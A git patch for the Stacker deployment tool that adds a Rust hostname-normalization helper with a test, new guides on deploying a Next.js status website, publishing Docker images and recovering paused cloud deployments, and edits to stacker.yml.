impl NpmConfig { pub fn new(host: String, email: String, password: String) -> Self { Self { - host, + host: normalize_npm_host(host), email, password, } @@ -46,6 +46,21 @@ impl NpmConfig { } } +fn normalize_npm_host(host: String) -> String { + let canonical = "nginx-proxy-manager"; + let legacy = "nginx_proxy_manager"; + + if host == legacy { + return canonical.to_string(); + } + + if let Some(rest) = host.strip_prefix(&format!("{legacy}:")) { + return format!("{canonical}:{rest}"); + } + + host.replace(&format!("://{legacy}"), &format!("://{canonical}")) +} + /// Request to create or update a proxy host #[derive(Debug, Clone, Serialize, Deserialize)] pub struct ProxyHostRequest { @@ -586,6 +601,17 @@ mod tests { assert_eq!(config.password, "secret"); } + #[test] + fn npm_config_normalizes_legacy_underscore_internal_host() { + let config = NpmConfig::new( + "http://nginx_proxy_manager:81".to_string(), + "ops@example.com".to_string(), + "secret".to_string(), + ); + + assert_eq!(config.host, "http://nginx-proxy-manager:81"); + } + #[test] fn test_proxy_host_request_serialization() { let request = ProxyHostRequest { diff --git a/web/docs/deployment-history.md b/web/docs/deployment-history.md new file mode 100644 index 0000000..df08dc0 --- /dev/null +++ b/web/docs/deployment-history.md @@ -0,0 +1,859 @@ +# How we developed Status website + +This is the story we want a new Stacker user to follow. + +We finished a small Next.js website recently for Status Panel. It +works on our laptop, but our real goal is bigger: publish it on a server, point +a domain at it, protect it with the right firewall rules, add Nginx Proxy +Manager, install the Status Panel agent, create our first data pipe, and later +deploy more services without going back to raw SSH. + +The examples below use custom subdomain `status.stacker.my`, `status-panel-web` app, and +`trydirect/status-panel-web:0.1.0` docker tag for our app. You can replace them with your real domain, project +name, registry, and image tag. + +## 1. We have a working website locally, now what? + +Our repository already has the website source code: + +```text +status/web/ + package.json + app/ + components/ + public/ + Dockerfile +``` + +Before Stacker enters the story, we make sure the website can run locally: + +```bash +npm install +npm run build +docker build -t status-panel-web:0.1.0 . +docker run --rm -p 3100:3000 status-panel-web:0.1.0 +``` + +We open `http://localhost:3100` and confirm that the Status website is alive. +The health endpoint should also respond: + +```bash +curl -fsS http://127.0.0.1:3100/api/health +``` + +## 2. We log in, connect AI, and initialize Stacker + +Now we invite Stacker into the project: + +```bash +stacker login +``` + +If users want AI-assisted setup from the start, configure AI before init or use +the AI-aware init path. In this example, we use a local or private Ollama +endpoint: + +```bash +curl -fsS http://192.168.100.245:11434/api/tags + +stacker config setup ai \ + --provider ollama \ + --endpoint http://192.168.100.245:11434 \ + --model qwen2.5-coder \ + --timeout 0 \ + --task compose \ + --task troubleshoot \ + --task security +``` + +The endpoint and model are examples. Users should replace them with their own +Ollama host and installed model. For a local laptop setup, the endpoint may be +`http://127.0.0.1:11434`. Projects can also start with: + +```bash +stacker init --with-ai +``` + +Without AI-assisted init, use the normal initialization command: + +```bash +stacker init +``` + +In this project, `stacker init` is able to inspect the existing files without a +manual questionnaire. It finds `docker-compose.yml`, detects the +`status-panel-web` service, and creates the first Stacker files. A user should +expect a similar result, with their own project path and detected service names: + +```text +✓ Created /path/to/your/project/stacker.yml + Project: web (node) + Services: status-panel-web +✓ Generated .stacker/Dockerfile + +Next steps: + stacker config validate # Check configuration + stacker deploy --target local --dry-run # Preview deployment + stacker deploy --target local # Deploy locally +``` + +The generated baseline is intentionally conservative: + +- Project name: `web` +- Main service: `status-panel-web` +- Container port mapping: `3000:3000` +- Deployment target: `local` +- Compose file: `docker-compose.yml` +- Proxy: disabled until we choose the public deployment path +- Status Panel: disabled until we enable the managed runtime + +After init, we expect a `stacker.yml` that tells the story of the project, not +only the current Docker command. At this moment, the important generated parts +look like this: + +```yaml +name: web +version: 0.1.0 + +app: + type: node + path: . + +services: + - name: status-panel-web + image: trydirect/status-panel-web:0.1.0 + ports: + - 3000:3000 + environment: + NEXT_PUBLIC_SITE_URL: https://status.stacker.my + NODE_ENV: production + +proxy: + type: none + auto_detect: false + domains: [] + +deploy: + target: local + compose_file: docker-compose.yml + +monitoring: + status_panel: false +``` + +Later, when we are ready for the public cloud/server story, we will evolve that +baseline toward a shape like this: + +```yaml +name: status-panel-web + +project: + identity: status-panel-web + +app: + type: static + path: . + +image: + repository: trydirect/status-panel-web + tag: 0.1.0 + +proxy: + type: nginx-proxy-manager + domains: + - domain: status.stacker.my + upstream: http://status-panel-web:3000 + ssl: auto + +monitoring: + status_panel: true + +deploy: + target: cloud + environment: production +``` + +Then we ask Stacker to validate what it understands: + +```bash +stacker config validate +stacker config show +``` + +If validation finds empty structural fields left by an older generated config, +let Stacker clean them instead of hand-editing YAML: + +```bash +stacker config fix +stacker config validate +``` + +## 3. We publish the image the server will pull + +Cloud servers cannot pull an image that exists only on our laptop. Before the +first remote deploy, the exact image referenced by `docker-compose.yml` and +`stacker.yml` must be available in a registry. + +For this walkthrough, the image reference is: + +```text +trydirect/status-panel-web:0.1.0 +``` + +So the minimum manual publish step is: + +```bash +docker build -t status-panel-web:0.1.0 . +docker tag status-panel-web:0.1.0 trydirect/status-panel-web:0.1.0 +docker login +docker push trydirect/status-panel-web:0.1.0 +``` + +Do not continue to `stacker deploy --target cloud` until the push succeeds. If +the remote server cannot pull the image, Docker Compose falls back to the +`build:` section in `docker-compose.yml`; the remote server does not have the +local source tree or Dockerfile, so the deploy pauses with an error like +`failed to read dockerfile: open Dockerfile: no such file or directory`. + +If you do not have CI/CD yet, follow +[How to tag and push your image to the registry](./publish-docker-image.md). + +If you already use Stacker CI/CD, let that pipeline build and publish the image. +The deployment guide only needs the final image reference that the server can +pull. + +For private images, Stacker deploy now prints registry-auth guidance when it +cannot resolve credentials. The manual options are documented in the registry +guide. + +## 4. We deploy the first version + +Now we let Stacker create or update the remote server: + +```bash +stacker deploy --target cloud --env production --dry-run +stacker deploy --target cloud --env production +``` + +If we already have a saved cloud credential, we can select it directly: + +```bash +stacker list clouds +stacker deploy --target cloud --env production --key htz-5 --dry-run +stacker deploy --target cloud --env production --key-id 5 --dry-run +``` + +`stacker list clouds` shows the saved credential names and IDs. Use `--key` +with the credential name, or `--key-id` with the numeric ID. + +For Hetzner, pay close attention to the selected location and server type. A +known-good starting point for this walkthrough is: + +```yaml +deploy: + cloud: + provider: hetzner + region: nbg1 + size: cx23 +``` + +An incompatible location/server-type combination can pause the deployment during +provisioning with provider errors such as unsupported location for server type. +If that happens, update `deploy.cloud.region` and `deploy.cloud.size`, then run +the deploy again with `--force-new`. + +During the dry run, Stacker validates the payload and credentials. If +`docker-compose.yml` references `.env` and `.env` is missing, Stacker can create +it from `.env.example` with safe local permissions before bundling the config. +For cloud and server deploys, Stacker prints the config-bundle file mapping so +users can see which local files will be copied and where Docker Compose will +look for them: + +```text +Config bundle: .stacker/deploy/production/config-bundle.tar.zst + Config file: .env -> .env +``` + +For Hetzner cloud deploys, Stacker accepts familiar location aliases such as +`nbg1` in `stacker.yml` and normalizes them for the installer before provisioning. + +In the live walkthrough, switching the server type to `cx23` changed the deploy +from a quick provisioning pause into a real installation run: + +```text +Deployment #181 — in_progress: 178.105.162.176: APT packages updated +``` + +When Stacker provisions a cloud server, it also creates and authorizes a local +backup SSH key so the user has a break-glass connection path if later agent or +installer steps fail. The deploy output prints the key path and exact SSH +command, for example: + +```text +✓ Local SSH backup key authorized + Key: ~/.config/stacker/ssh/server-87_ed25519 + Connect: ssh -i ~/.config/stacker/ssh/server-87_ed25519 -p 22 root@178.105.162.176 +``` + +Deployment can still pause after the server is reachable if a runtime file is +not copied where Docker Compose expects it. In this walkthrough, the next pause +showed that Compose could not find `.env`: + +```text +env file /opt/stacker/deployments/production/files/.env not found +``` + +That means the generated remote compose file and the copied config-bundle files +must use the same destination contract. Stacker now prevents this class of error +locally by requiring config-bundle destinations to be project-relative and by +showing the file mapping before the deploy request is sent. + +If a deployment pauses after the server exists, do not treat it as a dead end. +Use the backup SSH command from the deploy output and follow +[Recovering from a paused Stacker deployment](./recover-paused-deployment.md). + +At this point Stacker should: + +- create or reuse the server; +- install Docker and the required runtime pieces; +- pull `trydirect/status-panel-web:0.1.0`; +- start the Status website container; +- prepare managed services such as Nginx Proxy Manager when requested; +- install the Status Panel agent when monitoring is enabled. + +After deployment, we check what Stacker knows: + +```bash +stacker status +stacker agent status +``` + +If the Status Panel agent is not installed yet, we install it explicitly: + +```bash +stacker agent install +stacker agent status +``` + +The Status Panel agent is important because it lets later commands run through +the Stacker control plane instead of requiring us to SSH into the server. + +## 5. We open the cloud firewall deliberately + +Our website needs public HTTP and HTTPS traffic. SSH may also be required for +maintenance, but we keep the firewall intentional: + +```bash +stacker cloud firewall add --server-id 84 --public-ports 80/tcp,443/tcp +stacker cloud firewall list --server-id 84 +``` + +During this walkthrough we also had to reach the Nginx Proxy Manager setup UI on +port `81`. That port is an admin interface, so it should be temporary: + +```bash +stacker cloud firewall add --server-id 84 --public-ports 81/tcp +``` + +After the proxy provider setup is complete, close it again: + +```bash +stacker cloud firewall remove --server-id 84 --public-ports 81/tcp +``` + +If this is a fresh server and we still need SSH access: + +```bash +stacker cloud firewall add --server-id 84 --public-ports 22/tcp +``` + +The rule is simple: open only the ports the story needs. + +## 6. We point the domain at the server + +Before SSL can work, DNS must point to the server. + +In the DNS provider, we create: + +```text +status.stacker.my A +``` + +Then we wait until DNS resolves: + +```bash +dig +short status.stacker.my +``` + +The result should be the public IP of the deployed server. + +## 7. We configure Nginx Proxy Manager through Stacker + +Now we connect the public domain to the website container. + +For the Status website, traffic should go to the `status-panel-web` service on +port `3000`: + +```bash +stacker agent configure-proxy status-panel-web \ + --deployment \ + --domain status.stacker.my \ + --port 3000 \ + --ssl \ + --json +``` + +In the live run, the deployment hash looked like this: + +```bash +stacker agent configure-proxy status-panel-web \ + --deployment deployment_a631cf66-a224-440b-9871-12b63548671c \ + --domain status.stacker.my \ + --port 3000 \ + --ssl \ + --json +``` + +For remote deployments, this command delegates the route creation to the Status +Panel agent. The agent talks to Nginx Proxy Manager from inside the Docker +network, so the provider host must use the runtime Docker DNS name: + +```text +http://nginx-proxy-manager:81 +``` + +This is different from the logical Stacker service code. The stable split is: + +```yaml +my.stacker.scope: "platform" +my.stacker.service: "nginx_proxy_manager" +my.stacker.dns: "nginx-proxy-manager" +``` + +Use `my.stacker.service` to identify the managed provider in Stacker state, and +use `my.stacker.dns` for agent-to-service traffic inside the Docker network. + +If Nginx Proxy Manager shows the first-run setup form, complete setup first and +store the same credentials in the Status Panel provider credential source. The +planned Stacker UX should make this self-service: + +```bash +stacker proxy provider doctor nginx-proxy-manager --server-id 84 +stacker proxy provider setup nginx-proxy-manager \ + --server-id 84 \ + --host http://nginx-proxy-manager:81 \ + --identity you@example.com \ + --name "Your Name" \ + --password-stdin +``` + +Today, Stacker automates only part of this. When `proxy.type` requests Nginx +Proxy Manager, the deploy request includes the `nginx_proxy_manager` managed +feature so the install service can install the provider. The Status Panel agent +then reads provider credentials from Vault at a host-scoped +`npm_credentials` path. Stacker also checks that the agent advertises +`npm_credential_source=vault` before queuing `configure-proxy`. + +The missing piece is post-install provider setup. Stacker does not yet complete +the Nginx Proxy Manager first-run admin form or rotate the host-scoped +credentials after setup. That is why this walkthrough needed one manual Vault +write after creating the admin user. + +Until that UX exists, the safe manual path is: + +1. Temporarily open `81/tcp` with `stacker cloud firewall add`. +2. Complete the Nginx Proxy Manager setup form. +3. Store the same credentials in Vault. +4. Close `81/tcp` with `stacker cloud firewall remove`. + +If `configure-proxy` returns `npm_auth_failed`, the provider is reachable but +the stored credentials are wrong or setup is incomplete. If it returns +`npm_create_failed` but the host appears in Nginx Proxy Manager, treat that as a +partial success: the route was created, and SSL or response handling failed +afterward. + +The live walkthrough hit that exact partial-success case. Nginx Proxy Manager +returned `Internal Error`, but the proxy host existed afterward. Stacker adopted +the existing host and reported the route as usable: + +```json +{ + "message": "Proxy host exists after NPM create returned an error; adopted existing HTTP route, SSL certificate is pending or failed", + "proxy_host_id": 2, + "route_adopted": true, + "route_usable": true, + "ssl_enabled": false, + "ssl_requested": true, + "ssl_status": "pending_or_failed_http_only", + "status": "success" +} +``` + +That is a successful HTTP route with SSL still unresolved. The next step is to +fix certificate issuance instead of recreating the proxy host. + +To isolate SSL problems, retry once without SSL: + +```bash +stacker agent configure-proxy status-panel-web \ + --deployment \ + --domain status.stacker.my \ + --port 3000 \ + --no-ssl \ + --json +``` + +If `--no-ssl` works, check DNS and make sure the cloud firewall allows public +HTTP and HTTPS: + +```bash +dig +short status.stacker.my +stacker cloud firewall add --server-id 84 --public-ports 80/tcp,443/tcp +``` + +The planned provider-neutral command should wrap this flow: + +```bash +stacker proxy route add status.stacker.my \ + --service status-panel-web \ + --port 3000 \ + --ssl +``` + +If proxy credentials need to be refreshed, reinstall the agent and managed +proxy setup: + +```bash +stacker agent install +stacker agent configure-proxy status-panel-web \ + --deployment \ + --domain status.stacker.my \ + --port 3000 \ + --ssl \ + --json +``` + +Now the user should be able to open: + +```text +https://status.stacker.my +``` + +## 8. We inspect logs and runtime state + +The website is online, but we still want confidence: + +```bash +stacker logs --service status-panel-web --tail 100 +stacker agent logs status-panel-web --lines 100 +stacker agent status +``` + +The first deploy is not finished when the page loads once. It is finished when +we can inspect, restart, and operate it through Stacker. + +## 9. We create the first pipe + +Now the Status website needs to talk to something else. For example, we can add +an SMTP companion app from the service catalog so the website can send a test +message without using a real mail provider. + +There are three custom service paths: + +- curated catalog services, such as `stacker service add smtp`; +- marketplace custom services, when a reviewed template is available; +- custom Docker Compose imports for internet-found projects, reviewed before + they mutate `stacker.yml`. + +```bash +stacker service add smtp +stacker config validate +``` + +Then deploy only that service through the service-oriented deploy command: + +```bash +stacker service deploy smtp \ + --deployment deployment_a631cf66-a224-440b-9871-12b63548671c +stacker agent status +``` + +`stacker service deploy` validates that `smtp` exists in `stacker.yml`, then uses +the lower-level `stacker agent deploy-app smtp` remote app operation. The terms +are intentionally separate: `service` is the desired Compose/config object; +`deploy-app` is the agent command that applies one remote app code. + +For project-scoped services, Stacker should stamp the rendered Compose service +with stable ownership labels: + +```yaml +my.stacker.scope: "project" +my.stacker.service: "smtp" +my.stacker.dns: "smtp" +``` + +This keeps the logical service code (`smtp`) aligned with the runtime Docker DNS +name (`smtp`) and gives future container discovery a stable identity that does +not depend on parsing generated container names. + +The `smtp` custom service publishes SMTP on host port `1025` and exposes a web UI +on host port `8025`. Inside the Docker network, pipe adapters should use the +service DNS name and container port: + +```text +smtp:25 +``` + +Do not configure a remote pipe target as `127.0.0.1:1025` unless the pipe runtime +is running on the host network. From inside the Status Panel agent container, +`127.0.0.1` means the agent container itself, not the project SMTP container or +the Docker host. + +If a user wants a full mail-server project such as +`docker-mailserver/docker-mailserver`, the safe first step is review-only local +Compose import, not cloning or running remote code: + +```bash +stacker service import mailserver \ + --from-compose ./docker-mailserver/compose.yaml \ + --service mailserver \ + --review +``` + +The review calls out images, ports, env keys, volumes, dependencies, unsupported +Compose fields, and risks such as host networking, privileged mode, Docker +socket mounts, absolute host paths, capabilities, and public mail ports. For +mail servers, confirm MX/SPF/DKIM/DMARC/PTR/rDNS, SMTP egress policy, persistent +mail volumes, and firewall ports before importing with `--yes`. + +Before exporting anything to a remote deployment, we should prove the pipe story +locally first. + +```bash +stacker target local +stacker deploy --target local + +stacker pipe scan --containers status-panel-web \ + --capture-samples \ + --protocols html_forms + +stacker pipe scan --containers smtp \ + --capture-samples \ + --protocols html_forms \ + --protocols rest +``` + +The local deploy succeeded and started both containers: + +```text +status-panel-web Up ... 0.0.0.0:3000->3000/tcp +web-smtp-1 Up ... 0.0.0.0:1025->1025/tcp, 0.0.0.0:8025->8025/tcp +``` + +We also confirmed the local contact page is reachable: + +```bash +curl -fsS http://127.0.0.1:3000/contact +``` + +But the current local scanner still does not discover selectable operations for +this Next.js contact form, even after the local stack is running: + +```text +{ + "app_code": "status-panel-web", + "protocols_detected": [], + "endpoints": [], + "resources": [], + "forms": [] +} +``` + +And the local create flow fails exactly where it should if discovery is empty: + +```bash +stacker pipe create status-panel-web smtp --manual +``` + +```text +No selectable HTTP endpoints or HTML forms were discovered for 'status-panel-web'. +Run `stacker pipe scan --containers status-panel-web` to inspect discovery results. +``` + +The local `smtp` service is not a clean HTTP target yet either. On this Apple +Silicon host the image reports an amd64/arm64 mismatch during local deploy, and +its HTTP UI on `:8025` resets connections instead of returning a selectable REST +or HTML-form surface. + +So the correct story order is: + +- either let `pipe create` reuse a narrower `html_forms` source scan for this + workflow locally, +- or fix local `html_forms` discovery for this Next.js server-action form, +- or add a first-class mail/webhook target flow instead of treating `smtp` as a + generic HTTP/form target. + +After the local flow works, we can repeat the same idea remotely. In our remote +test, the narrower app probe already proved the form is discoverable there: + +```bash +stacker pipe scan \ + --deployment deployment_a631cf66-a224-440b-9871-12b63548671c \ + --app status-panel-web \ + --capture-samples \ + --protocols html_forms +``` + +```text +App: status-panel-web +Protocols detected: html_forms + +HTML Forms: + #form_contact POST + fields: [$ACTION_REF_1, $ACTION_1:0, $ACTION_1:1, $ACTION_KEY, name, email, subject, message] +``` + +The `$ACTION_*` fields are Next.js Server Actions internals. The meaningful +user fields are `name`, `email`, `subject`, and `message`. + +The remote pipe flow then becomes: + +```bash +stacker pipe deploy \ + --deployment \ + status-panel-web-to-smtp-3 + +stacker pipe activate \ + --deployment \ + \ + --trigger webhook +``` + +Then we test it: + +```bash +stacker pipe trigger \ + --deployment \ + \ + --data '{"name":"Stacker Pipe Test","email":"info@example.com","subject":"Status Panel pipe trigger test","message":"Status website is live"}' + +stacker pipe history \ + --deployment \ + +``` + +In the live run, the first manual trigger proved an important networking lesson. +The pipe was active, but SMTP delivery failed when the target adapter used +`127.0.0.1:1025`: + +```text +smtp delivery failed: Connection error: Connection refused (os error 111) +``` + +After changing the pipe target adapter to `smtp:25`, we promoted a corrected +remote instance and activated it: + +```text +remote_instance_id: 4922167c-7cb7-45c1-9c2b-6207c936d9bc +target_adapter: smtp://smtp:25 +``` + +That corrected target also matches the intended project-scoped runtime labels: + +```yaml +my.stacker.scope: "project" +my.stacker.service: "smtp" +my.stacker.dns: "smtp" +``` + +The next trigger completed successfully: + +```json +{ + "type": "trigger_pipe", + "status": "completed", + "result": { + "success": true, + "target_response": { + "adapter": "smtp", + "delivered": true, + "body": { + "accepted_recipients": 1, + "host": "smtp", + "port": 25, + "subject": "Status Panel pipe trigger test" + } + } + } +} +``` + +This is the moment Stacker becomes more than deployment. It starts connecting +services, and the user can verify that a real message moved from the website +workflow into the SMTP companion service. + +## 10. We deploy an additional service through the Status Panel agent + +Later, the Status website needs Redis for caching. We do not want to rebuild the +whole server manually. + +We add or define the service: + +```bash +stacker service add redis +stacker config validate +``` + +Then we deploy the service through the agent: + +```bash +stacker agent deploy-app --app redis --image redis --tag 7 +stacker agent status +``` + +If the service needs secrets or environment variables, we use Stacker secrets +instead of hardcoding values: + +```bash +stacker secrets set REDIS_PASSWORD --scope service --service redis --body '' +``` + +Then redeploy or restart the affected service as needed: + +```bash +stacker agent restart redis +``` + +## 11. We keep configuration visible without leaking secrets + +Before production changes, we compare environments: + +```bash +stacker config inventory --env production --remote +stacker config diff --from local --to production --remote +stacker config check --env production --strict --remote +``` + +Secrets should appear as present or missing, never as plaintext values. + +## 12. The final user journey + +The user started with a website on a laptop. The Stacker journey led them +through: + +1. Connecting AI early with `stacker init --with-ai` or `stacker config setup ai`. +2. Initializing the project with `stacker init`. +3. Publishing the Docker image to a registry. +4. Deploying to a cloud or server target. +5. Opening only the required firewall ports. +6. Pointing DNS at the server. +7. Configuring Nginx Proxy Manager and SSL. +8. Installing or refreshing the Status Panel agent. +9. Inspecting logs and runtime state. +10. Creating and activating the first pipe. +11. Deploying additional services through the agent. +12. Checking configuration and secrets before future releases. + +That is the experience this guide should teach: Stacker is not only the command +that deploys the first container. It is the path from "we built a website" to +"we can operate and extend this service safely." diff --git a/web/docs/publish-docker-image.md b/web/docs/publish-docker-image.md new file mode 100644 index 0000000..86a947f --- /dev/null +++ b/web/docs/publish-docker-image.md @@ -0,0 +1,131 @@ +# How to tag and push your image to the registry + +Use this guide only when you do not yet have CI/CD publishing images for you. +The main deployment story assumes the remote server can pull the image from a +registry. + +## Manual publishing + +Build the image locally: + +```bash +docker build -t status-panel-web:0.1.0 . +``` + +Sign in to your registry: + +```bash +docker login +``` + +Tag the image with the repository name your server will pull: + +```bash +docker tag status-panel-web:0.1.0 trydirect/status-panel-web:0.1.0 +``` + +Push it: + +```bash +docker push trydirect/status-panel-web:0.1.0 +``` + +Then reference the pushed image from both `stacker.yml` and +`docker-compose.yml`. The tag must match exactly; do not document `0.1.0` while +the compose file still points at `latest`. + +```yaml +image: + repository: trydirect/status-panel-web + tag: 0.1.0 +``` + +```yaml +services: + status-panel-web: + image: trydirect/status-panel-web:0.1.0 +``` + +## Private registry credentials + +If the image is private, the remote server needs Docker registry credentials +before it can pull the image. + +These credentials are **deployment registry credentials**, not service-scoped +runtime secrets. Do not save them with a command like: + +```bash +stacker secrets set STACKER_DOCKER_PASSWORD --scope service --service status-panel-web --body '' +``` + +That would create a runtime secret for one service. It would not automatically +teach the deploy process how to authenticate to the image registry. + +For this Status website example, use one of these patterns instead. +If Stacker sees an image that may need registry authentication and no +credentials are configured, `stacker deploy` prints these options before the +remote server tries to pull the image. + +### Option A: export credentials for one deploy + +Use this when you do not want to write credentials to any project file: + +```bash +export STACKER_DOCKER_USERNAME='' +export STACKER_DOCKER_PASSWORD='' +export STACKER_DOCKER_REGISTRY='docker.io' + +stacker deploy --target cloud --env production +``` + +Environment variables override `stacker.yml` values during deployment. + +### Option B: keep placeholders in `stacker.yml` and values in `.env` + +Use this when the project should remember which variables are required, while +the actual values stay out of Git. + +Store the values in a local env file: + +```bash +stacker secrets set STACKER_DOCKER_USERNAME='' --file .env +stacker secrets set STACKER_DOCKER_PASSWORD='' --file .env +stacker secrets set STACKER_DOCKER_REGISTRY='docker.io' --file .env +``` + +Then reference those variables from `stacker.yml`: + +```yaml +env_file: .env + +deploy: + registry: + username: "${STACKER_DOCKER_USERNAME}" + password: "${STACKER_DOCKER_PASSWORD}" + server: "${STACKER_DOCKER_REGISTRY}" +``` + +Add `.env` to `.gitignore` and commit only `.env.example` with empty +placeholders. + +```dotenv +STACKER_DOCKER_USERNAME= +STACKER_DOCKER_PASSWORD= +STACKER_DOCKER_REGISTRY=docker.io +``` + +For Docker Hub, `server` can be omitted or set to `docker.io`. For GitHub +Container Registry, use `ghcr.io`. + +During cloud/server deploy, Stacker passes these credentials to the installer so +the target server can run Docker authentication before pulling the private +image. For deployments managed by the Status Panel agent, Stacker can also reuse +trusted stored registry auth for later image refreshes. + +Do not commit registry passwords, access tokens, or personal credentials to Git. + +## Prefer CI/CD when available + +Manual publishing is useful for the first walkthrough. For a real project, use +Stacker CI/CD or your existing CI/CD pipeline so every release builds, tags, and +pushes images repeatably. diff --git a/web/docs/recover-paused-deployment.md b/web/docs/recover-paused-deployment.md new file mode 100644 index 0000000..632fcb9 --- /dev/null +++ b/web/docs/recover-paused-deployment.md @@ -0,0 +1,159 @@ +# Recovering from a paused Stacker deployment + +Cloud deployment is not always a single clean step. A provider can reject a +server type, an installer task can fail, or Docker Compose can stop because a +runtime file is missing. A paused deployment should be treated as recoverable: +Stacker has usually created the server, recorded its IP address, and authorized a +backup SSH key. + +## 1. Confirm the deployment state + +Start by asking Stacker what it knows: + +```bash +stacker status +stacker status --watch +``` + +If an AI agent is connected through MCP, it should start with the same recovery +sequence programmatically: + +```text +diagnose_deployment -> get_deployment_events -> get_deployment_state +get_docker_compose_yaml -> list_containers -> get_container_logs +get_error_summary -> get_container_health +``` + +The MCP diagnosis response also includes safe `stacker-cli` commands to suggest +to the user when local confirmation or SSH access is required. + +Look for four things in the output: + +- deployment ID and status; +- server name and IP address; +- the last installer message; +- the backup SSH command printed by deploy. + +If deploy authorized a backup key, the output looks like this: + +```text +✓ Local SSH backup key authorized + Key: ~/.config/stacker/ssh/server-87_ed25519 + Connect: ssh -i ~/.config/stacker/ssh/server-87_ed25519 -p 22 root@178.105.162.176 +``` + +That SSH command is the emergency path for inspecting or fixing the server. + +## 2. Classify the failure + +Most paused deployments fall into one of these groups: + +| Symptom | Likely cause | First action | +|---|---|---| +| Unsupported location for server type | Cloud region and size are incompatible | Update `deploy.cloud.region` or `deploy.cloud.size`, then redeploy with `--force-new` | +| Docker Compose reports a missing env file | Config bundle and compose paths do not match | Check the deploy output for `Config file: source -> destination` mappings | +| Image pull fails | Image is private or tag does not exist | Push the image or configure registry credentials | +| `failed to read dockerfile: open Dockerfile: no such file or directory` | Compose could not pull the image and fell back to remote build, but only runtime files were staged | Push the exact image tag referenced by compose, then redeploy | +| Container starts then exits | Application runtime error | SSH in and inspect `docker compose logs` | +| Watch timeout but status is still `in_progress` | Installer is still running | Continue with `stacker status --watch` | + +Do not immediately destroy the server. If the server exists and SSH works, you +can usually inspect the exact failure and decide whether to patch the server, +fix local config, or redeploy. + +## 3. Connect with the backup SSH key + +Use the exact command Stacker printed. For example: + +```bash +ssh -i ~/.config/stacker/ssh/server-87_ed25519 -p 22 root@178.105.162.176 +``` + +After connecting, inspect the deployed project directory: + +```bash +cd /home/trydirect/project +ls -la +docker compose config +docker compose ps +docker compose logs --tail=100 +``` + +If Docker Compose says an env file is missing, check whether the file exists +where the compose file expects it: + +```bash +grep -n "env_file" docker-compose.yml +find /home/trydirect/project -maxdepth 3 -type f -name ".env" -o -name "*.env" +``` + +In the Status walkthrough, Stacker generated a correct local bundle +(`Config file: .env -> .env`) but the installer initially copied only +`docker-compose.yml` to `/home/trydirect/project`. The durable fix is to patch +the Stacker deploy handoff so non-compose config files are also sent through the +installer runtime-file contract, then redeploy. Avoid manual server writes unless +the user explicitly chooses a temporary emergency fix. + +## 4. Apply a safe temporary fix when needed + +Prefer fixing `stacker.yml`, compose, or the Stacker-generated config bundle and +redeploying. A manual server edit is only a temporary recovery step. + +If the fix is a file placement issue, copy or create the file in the path Docker +Compose expects, then restart the stack: + +```bash +cp /home/trydirect/project/.env /home/trydirect/project/docker/production/.env +docker compose up -d +docker compose ps +``` + +Use the real paths from `docker-compose.yml`; do not blindly copy this example. +If the missing file contains secrets, recreate it from the local source of truth +or Stacker secrets instead of typing values into shell history. + +## 5. Ask AI for a targeted recommendation + +If AI is configured for the project, give it the non-secret failure context: + +- the failing task name; +- the sanitized Docker Compose error; +- the relevant `env_file`, `image`, or `ports` section; +- the `Config file: source -> destination` mapping from deploy output. + +Do not paste cloud tokens, registry tokens, private SSH keys, or full `.env` +contents. The useful question is narrow: + +```text +This Stacker deployment paused during Docker Compose. +Compose runs from /home/trydirect/project. +The error is: env file not found. +The generated compose contains this env_file section: . +The deploy output mapped config files as: destination>. +What should I change locally before redeploying? +``` + +## 6. Redeploy cleanly + +After fixing local config, regenerate and resend the bundle: + +```bash +stacker deploy --target cloud --env production --force-new +``` + +Use `--force-new` when the previous server was only partially provisioned or when +the cloud provider created resources with a bad shape. If the server is healthy +and the failure was only application-level, a normal redeploy may be enough. + +## 7. Record what happened + +After recovery, update the deployment notes with: + +- the deployment ID; +- the paused status message; +- the root cause; +- the config change; +- whether a manual SSH fix was applied; +- the command that completed the recovery. + +This turns a failed deploy into a repeatable runbook for the next user. diff --git a/web/stacker.yml b/web/stacker.yml index 305b0b9..def7aa4 100644 --- a/web/stacker.yml +++ b/web/stacker.yml @@ -2,51 +2,41 @@ name: web version: 0.1.0 organization: null project: - identity: null + identity: web app: type: node path: . - dockerfile: null + environment: {} image: null build: null ports: [] volumes: [] - environment: {} services: - name: status-panel-web image: trydirect/status-panel-web:0.1.0 ports: - 3000:3000 environment: - NODE_ENV: production NEXT_PUBLIC_SITE_URL: https://status.stacker.my + NODE_ENV: production volumes: [] depends_on: [] -- name: nginx_proxy_manager - image: jc21/nginx-proxy-manager:latest - ports: - - 80:80 - - 443:443 - - 81:81 - environment: {} - volumes: - - npm_data:/data - - npm_letsencrypt:/etc/letsencrypt - depends_on: [] - name: smtp image: trydirect/smtp ports: - - 1025:1025 + - 127.0.0.1:1025:25 - 8025:8025 environment: {} volumes: - smtp_data:/data depends_on: [] proxy: - type: none + type: nginx-proxy-manager auto_detect: false - domains: [] - config: null + domains: + - domain: status.stacker.my + ssl: auto + upstream: status-panel-web:3000 deploy: target: cloud environment: null @@ -58,10 +48,9 @@ deploy: region: nbg1 size: cx23 install_image: null - remote_payload_file: null + server: null ssh_key: ~/.ssh/id_rsa key: null - server: null server: null registry: null default_target: null @@ -79,14 +68,10 @@ ai: - troubleshoot - security monitoring: - status_panel: false + status_panel: true healthcheck: null metrics: null -hooks: - pre_build: null - post_deploy: null - on_failure: null -env_file: null -env: {} +hooks: {} config_contract: services: {} +env: {} From dfc4d73a8e303d56c7b90c84f32cd33393cef902 Mon Sep 17 00:00:00 2001 From: Vasili Pascal Date: Fri, 29 May 2026 10:56:33 +0300 Subject: [PATCH 09/23] vendor(stacker): include stacker crates in repo to make CI PR-safe Vendor pipe-adapter SDK/Mail; update Cargo.toml and CI to use vendored copy. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> --- .github/workflows/ci.yml | 7 + Cargo.toml | 4 + development.md | 2 +- stacker/crates/TODO.md | 173 + stacker/crates/pipe-adapter-mail/Cargo.toml | 22 + stacker/crates/pipe-adapter-mail/TODO.md | 12 + stacker/crates/pipe-adapter-mail/src/lib.rs | 1235 +++ stacker/crates/pipe-adapter-sdk/Cargo.toml | 10 + stacker/crates/pipe-adapter-sdk/src/lib.rs | 298 + stacker/stacker/.dockerignore | 0 .../stacker/.github/copilot-instructions.md | 145 + stacker/stacker/.github/workflows/docker.yml | 275 + .../stacker/.github/workflows/notifier.yml | 20 + stacker/stacker/.github/workflows/release.yml | 91 + stacker/stacker/.github/workflows/rust.yml | 126 + stacker/stacker/.gitignore | 13 + stacker/stacker/.pre-commit-config.yaml | 24 + 